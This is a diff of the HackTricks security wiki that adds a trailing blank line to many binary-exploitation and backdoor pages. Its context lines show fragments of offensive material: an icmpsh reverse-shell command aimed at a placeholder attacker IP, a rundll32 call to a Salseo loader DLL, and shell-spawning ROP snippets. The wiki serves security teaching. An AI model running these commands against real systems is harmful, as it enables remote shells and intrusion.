t3

src/LICENSE.md

@@ -172,3 +172,4 @@ Creative Commons may be contacted at [creativecommons.org](http://creativecommon
 {{#include ./banners/hacktricks-training.md}}
 
 
+

src/README.md

@@ -144,3 +144,4 @@ welcome/hacktricks-values-and-faq.md
 {{#include ./banners/hacktricks-training.md}}
 
 
+

src/SUMMARY.md

@@ -868,3 +868,4 @@
 - [Cookies Policy](todo/cookies-policy.md)
 
 
+

src/android-forensics.md

@@ -27,3 +27,4 @@ Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel
 {{#include ./banners/hacktricks-training.md}}
 
 
+

src/backdoors/icmpsh.md

@@ -31,3 +31,4 @@ icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
 {{#include ../banners/hacktricks-training.md}}
 
 
+

src/backdoors/salseo.md

@@ -178,3 +178,4 @@ rundll32.exe SalseoLoader.dll,main
 {{#include ../banners/hacktricks-training.md}}
 
 
+

src/banners/hacktricks-training.md

@@ -13,3 +13,4 @@
 > </details>
 
 
+

src/binary-exploitation/arbitrary-write-2-exec/README.md

@@ -3,3 +3,4 @@
 
 
 
+

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md

@@ -72,3 +72,4 @@ Now a **fast bin attack** is performed:
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -89,3 +89,4 @@ The **Full RELRO** protection is meant to protect agains this kind of technique
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md

@@ -56,3 +56,4 @@ In order to abuse **`.fini_array`** to get an eternal loop you can [**check what
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md

@@ -238,3 +238,4 @@ You can find an example of this in the [**original blog post about the technique
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/array-indexing.md

@@ -18,3 +18,4 @@ However he you can find some nice **examples**:
   - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
 
 
+

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -111,3 +111,4 @@ Something to take into account is that usually **just one exploitation of a vuln
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md

@@ -396,3 +396,4 @@ The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thr
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md

@@ -241,3 +241,4 @@ Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md

@@ -176,3 +176,4 @@ pwn update
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/README.md

@@ -35,3 +35,4 @@ This command loads the executable and the core file into GDB, allowing you to in
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

@@ -304,3 +304,4 @@ Note therefore how it might be possible to **bypass ASLR abusing the vdso** if t
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

@@ -82,3 +82,4 @@ p.interactive()
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md

@@ -33,3 +33,4 @@ Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overf
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md

@@ -25,3 +25,4 @@ The **shadow stack** is a **dedicated stack used solely for storing return addre
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md

@@ -84,3 +84,4 @@ Pointer guard is an exploit mitigation technique used in glibc to protect stored
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md

@@ -84,3 +84,4 @@ When a **mismatch is detected** the kernel will **panic** to prevent further exp
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -16,3 +16,4 @@ The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel ter
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -32,3 +32,4 @@ bypassing-canary-and-pie.md
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md

@@ -96,3 +96,4 @@ According to that blog post it's recommended to add a short delay between reques
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/relro.md

@@ -35,3 +35,4 @@ Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md

@@ -76,3 +76,4 @@ This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

@@ -121,3 +121,4 @@ Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-ca
   - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
 
 
+

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md

@@ -33,3 +33,4 @@ With an **arbitrary read** like the one provided by format **strings** it might
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/common-exploiting-problems.md

@@ -38,3 +38,4 @@ In order to bypass this the **escape character `\x16` must be prepended to any `
 {{#include ../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/format-strings/README.md

@@ -241,3 +241,4 @@ It's possible to abuse the write actions of a format string vulnerability to **w
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

@@ -184,3 +184,4 @@ p.close()
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/format-strings/format-strings-template.md

@@ -145,3 +145,4 @@ P.interactive()
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/integer-overflow.md

@@ -123,3 +123,4 @@ This **doesn't change in ARM64** as you can see in [**this blog post**](https://
 {{#include ../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/ios-exploiting.md

@@ -212,3 +212,4 @@ With these primitives, the exploit provides controlled **32-bit reads** and **64
 
 
 
+

src/binary-exploitation/libc-heap/README.md

@@ -529,3 +529,4 @@ heap-memory-functions/heap-functions-security-checks.md
 - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
 
 
+

src/binary-exploitation/libc-heap/bins-and-memory-allocations.md

@@ -640,3 +640,4 @@ heap-memory-functions/heap-functions-security-checks.md
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/double-free.md

@@ -132,3 +132,4 @@ h1: 0xaaab0f0c2380
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/fast-bin-attack.md

@@ -153,3 +153,4 @@ unsorted-bin-attack.md
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/heap-memory-functions/README.md

@@ -7,3 +7,4 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/heap-memory-functions/free.md

@@ -386,3 +386,4 @@ _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md

@@ -163,3 +163,4 @@ free.md
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md

@@ -1746,3 +1746,4 @@ sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av)
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md

@@ -83,3 +83,4 @@ Heap leaks:
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -50,3 +50,4 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-einherjar.md

@@ -49,3 +49,4 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-force.md

@@ -64,3 +64,4 @@ Then, do another malloc to get a chunk at the target address.
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-lore.md

@@ -47,3 +47,4 @@ Then you will be able to allocate `fake0`.
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-orange.md

@@ -75,3 +75,4 @@ This approach exploits heap management mechanisms, libc information leaks, and h
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-rabbit.md

@@ -111,3 +111,4 @@ The **House of Rabbit** technique involves either modifying the size of a fast b
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-roman.md

@@ -118,3 +118,4 @@ Finally, one the correct address is overwritten, **call `malloc` and trigger the
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/house-of-spirit.md

@@ -118,3 +118,4 @@ int main() {
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/large-bin-attack.md

@@ -58,3 +58,4 @@ You can find another great explanation of this attack in [**guyinatuxedo**](http
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/off-by-one-overflow.md

@@ -115,3 +115,4 @@ This image explains perfectly the attack:
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md

@@ -23,3 +23,4 @@ In this case it would be possible to **modify the size** of the following chunk
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/tcache-bin-attack.md

@@ -47,3 +47,4 @@ Usually it's possible to find at the beginning of the heap a chunk containing th
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/unlink-attack.md

@@ -129,3 +129,4 @@ This attack allows to **change a pointer to a chunk to point 3 addresses before
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -73,3 +73,4 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/use-after-free/README.md

@@ -20,3 +20,4 @@ first-fit.md
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/libc-heap/use-after-free/first-fit.md

@@ -64,3 +64,4 @@ d = malloc(20);   // a
   - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
 
 
+

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -195,3 +195,4 @@ rop-syscall-execv/
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md

@@ -124,3 +124,4 @@ Behaviour signatures to find those functions:
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -184,3 +184,4 @@ Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protec
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -197,3 +197,4 @@ target.interactive()
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -189,3 +189,4 @@ p.interactive()
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md

@@ -165,3 +165,4 @@ This basically means abusing a **Ret2lib to transform it into a `printf` format
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md

@@ -37,3 +37,4 @@ angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md

@@ -217,3 +217,4 @@ p.interactive()
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md

@@ -304,3 +304,4 @@ BINSH = next(libc.search("/bin/sh")) - 64
 {{#include ../../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md

@@ -223,3 +223,4 @@ BINSH = next(libc.search("/bin/sh")) - 64
 {{#include ../../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md

@@ -69,3 +69,4 @@ srop-sigreturn-oriented-programming/srop-arm64.md
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -195,3 +195,4 @@ target.interactive()
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md

@@ -128,3 +128,4 @@ p.interactive()
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -145,3 +145,4 @@ target.interactive()
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md

@@ -192,3 +192,4 @@ And to bypass the address of `/bin/sh` you could create several env variables po
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/stack-overflow/README.md

@@ -104,3 +104,4 @@ There are several protections trying to prevent the exploitation of vulnerabilit
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/stack-overflow/pointer-redirecting.md

@@ -29,3 +29,4 @@ You can find an example in:
 {{#include ../../banners/hacktricks-training.md}}
 
 
+

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -115,3 +115,4 @@ ret2win-arm64.md
 {{#include ../../../banners/hacktricks-training.md}}
 
 
+